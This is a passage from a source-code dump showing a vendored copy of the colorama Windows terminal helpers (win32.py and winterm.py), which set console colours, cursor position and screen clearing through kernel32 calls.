If the position is out of range, do nothing. 76 | if position.Y <= 0 or position.X <= 0: 77 | return 78 | # Adjust for Windows' SetConsoleCursorPosition: 79 | # 1. being 0-based, while ANSI is 1-based. 80 | # 2. expecting (x,y), while ANSI uses (y,x). 81 | adjusted_position = COORD(position.Y - 1, position.X - 1) 82 | # Adjust for viewport's scroll position 83 | sr = GetConsoleScreenBufferInfo(STDOUT).srWindow 84 | adjusted_position.Y += sr.Top 85 | adjusted_position.X += sr.Left 86 | # Resume normal processing 87 | handle = handles[stream_id] 88 | return windll.kernel32.SetConsoleCursorPosition(handle, adjusted_position) 89 | 90 | def FillConsoleOutputCharacter(stream_id, char, length, start): 91 | handle = handles[stream_id] 92 | char = TCHAR(char) 93 | length = DWORD(length) 94 | num_written = DWORD(0) 95 | # Note that this is hard-coded for ANSI (vs wide) bytes. 96 | success = windll.kernel32.FillConsoleOutputCharacterA( 97 | handle, char, length, start, byref(num_written)) 98 | return num_written.value 99 | 100 | def FillConsoleOutputAttribute(stream_id, attr, length, start): 101 | ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )''' 102 | handle = handles[stream_id] 103 | attribute = WORD(attr) 104 | length = DWORD(length) 105 | num_written = DWORD(0) 106 | # Note that this is hard-coded for ANSI (vs wide) bytes. 107 | return windll.kernel32.FillConsoleOutputAttribute( 108 | handle, attribute, length, start, byref(num_written)) 109 | 110 | -------------------------------------------------------------------------------- /thirdparty/color/winterm.py: -------------------------------------------------------------------------------- 1 | 2 | from . import win32 3 | 4 | 5 | # from wincon.h 6 | class WinColor(object): 7 | BLACK = 0 8 | BLUE = 1 9 | GREEN = 2 10 | CYAN = 3 11 | RED = 4 12 | MAGENTA = 5 13 | YELLOW = 6 14 | GREY = 7 15 | 16 | # from wincon.h 17 | class WinStyle(object): 18 | NORMAL = 0x00 # dim text, dim background 19 | BRIGHT = 0x08 # bright text, dim background 20 | 21 | 22 | class WinTerm(object): 23 | 24 | def __init__(self): 25 | self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes 26 | self.set_attrs(self._default) 27 | self._default_fore = self._fore 28 | self._default_back = self._back 29 | self._default_style = self._style 30 | 31 | def get_attrs(self): 32 | return self._fore + self._back * 16 + self._style 33 | 34 | def set_attrs(self, value): 35 | self._fore = value & 7 36 | self._back = (value >> 4) & 7 37 | self._style = value & WinStyle.BRIGHT 38 | 39 | def reset_all(self, on_stderr=None): 40 | self.set_attrs(self._default) 41 | self.set_console(attrs=self._default) 42 | 43 | def fore(self, fore=None, on_stderr=False): 44 | if fore is None: 45 | fore = self._default_fore 46 | self._fore = fore 47 | self.set_console(on_stderr=on_stderr) 48 | 49 | def back(self, back=None, on_stderr=False): 50 | if back is None: 51 | back = self._default_back 52 | self._back = back 53 | self.set_console(on_stderr=on_stderr) 54 | 55 | def style(self, style=None, on_stderr=False): 56 | if style is None: 57 | style = self._default_style 58 | self._style = style 59 | self.set_console(on_stderr=on_stderr) 60 | 61 | def set_console(self, attrs=None, on_stderr=False): 62 | if attrs is None: 63 | attrs = self.get_attrs() 64 | handle = win32.STDOUT 65 | if on_stderr: 66 | handle = win32.STDERR 67 | win32.SetConsoleTextAttribute(handle, attrs) 68 | 69 | def get_position(self, handle): 70 | position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition 71 | # Because Windows coordinates are 0-based, 72 | # and win32.SetConsoleCursorPosition expects 1-based. 73 | position.X += 1 74 | position.Y += 1 75 | return position 76 | 77 | def set_cursor_position(self, position=None, on_stderr=False): 78 | if position is None: 79 | #I'm not currently tracking the position, so there is no default. 80 | #position = self.get_position() 81 | return 82 | handle = win32.STDOUT 83 | if on_stderr: 84 | handle = win32.STDERR 85 | win32.SetConsoleCursorPosition(handle, position) 86 | 87 | def cursor_up(self, num_rows=0, on_stderr=False): 88 | if num_rows == 0: 89 | return 90 | handle = win32.STDOUT 91 | if on_stderr: 92 | handle = win32.STDERR 93 | position = self.get_position(handle) 94 | adjusted_position = (position.Y - num_rows, position.X) 95 | self.set_cursor_position(adjusted_position, on_stderr) 96 | 97 | def erase_data(self, mode=0, on_stderr=False): 98 | # 0 (or None) should clear from the cursor to the end of the screen. 99 | # 1 should clear from the cursor to the beginning of the screen. 100 | # 2 should clear the entire screen. (And maybe move cursor to (1,1)?) 101 | # 102 | # At the moment, I only support mode 2. From looking at the API, it 103 | # should be possible to calculate a different number of bytes to clear, 104 | # and to do so relative to the cursor position. 105 | if mode[0] not in (2,): 106 | return 107 | handle = win32.STDOUT 108 | if on_stderr: 109 | handle = win32.STDERR 110 | # here's where we'll home the cursor 111 | coord_screen = win32.COORD(0,0) 112 | csbi = win32.GetConsoleScreenBufferInfo(handle) 113 | # get the number of character cells in the current buffer 114 | dw_con_size = csbi.dwSize.X * csbi.dwSize.Y 115 | # fill the entire screen with blanks 116 | win32.FillConsoleOutputCharacter(handle, ' ', dw_con_size, coord_screen) 117 | # now set the buffer's attributes accordingly 118 | win32.FillConsoleOutputAttribute(handle, self.get_attrs(), dw_con_size, coord_screen ); 119 | # put the cursor at (0, 0) 120 | win32.SetConsoleCursorPosition(handle, (coord_screen.X, coord_screen.Y)) 121 | --------------------------------------------------------------------------------